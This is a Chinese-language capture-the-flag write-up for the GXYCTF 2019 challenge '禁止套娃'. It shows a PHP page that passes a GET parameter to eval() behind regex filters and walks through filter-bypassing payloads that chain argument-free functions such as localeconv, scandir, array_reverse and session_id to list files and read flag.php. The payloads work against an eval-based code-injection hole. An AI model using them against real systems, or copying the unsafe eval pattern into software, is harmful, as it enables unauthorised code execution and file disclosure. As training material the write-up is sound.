> For the complete documentation index, see [llms.txt](https://gitbook-88.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook-88.gitbook.io/ctf-writeup/2019/2019-gxyctf/jin-zhi-tao-wa.md).

# 禁止套娃

扫到.git

```php
<?php
include "flag.php";
echo "flag在哪里呢？<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦！");
            }
        }
        else{
            die("再好好想想！");
        }
    }
    else{
        die("还想读flag，臭弟弟！");
    }
}
// highlight_file(__FILE__);
?>
```

大概三层过滤，第一层过滤一些PHP伪协议，第二层过滤了有参数函数、第三层过滤了一些关键词。

一步步来，首先我们想构造的是这样的一句话：

```php
<?php
    print_r(scandir('.'));
?>
```

其中`scandir('.')`可以遍历当前目录，返回当前目录的目录。

但是这个函数是个有参函数，咋整呢，需要构造这个`.`

利用`localeconv()`，该函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是`.`

```
/?exp=print_r(localeconv());
```

<figure><img src="/files/6IYuOLcc3SxDLo7U3cwe" alt=""><figcaption></figcaption></figure>

而 `pos()` `current()`两个函数可以返回数组的单元，默认取第一个值，这样就可以构造遍历目录了。

```
exp=print_r(localeconv());
```

可以看到目录下是有flag文件的，在倒数第二个位置，正数第四个位置。接下来就是读取文件内容了。

这里有三种读取文件的方法

**1.array\_reverse()**

数组逆向，加一位移位

```
print_r(next(array_reverse(scandir(pos(localeconv())))));
```

读取文件有两种方法，一种是直接`print_r(readfile(file))`，一种是`highlight_file(file)`

<figure><img src="/files/pd2WecOeWPB53glhZ5k7" alt=""><figcaption></figcaption></figure>

**2.array\_rand(array\_flip())**

array\_rand()随机取出数组单元，array\_flip()函数交换键与值

```
print_r(array_rand(array_flip(scandir(current(localeconv())))));
```

**3.session\_id(session\_start())**

```
print_r(session_id(session_start()));
```

PHPSESSID=flag.php即可。
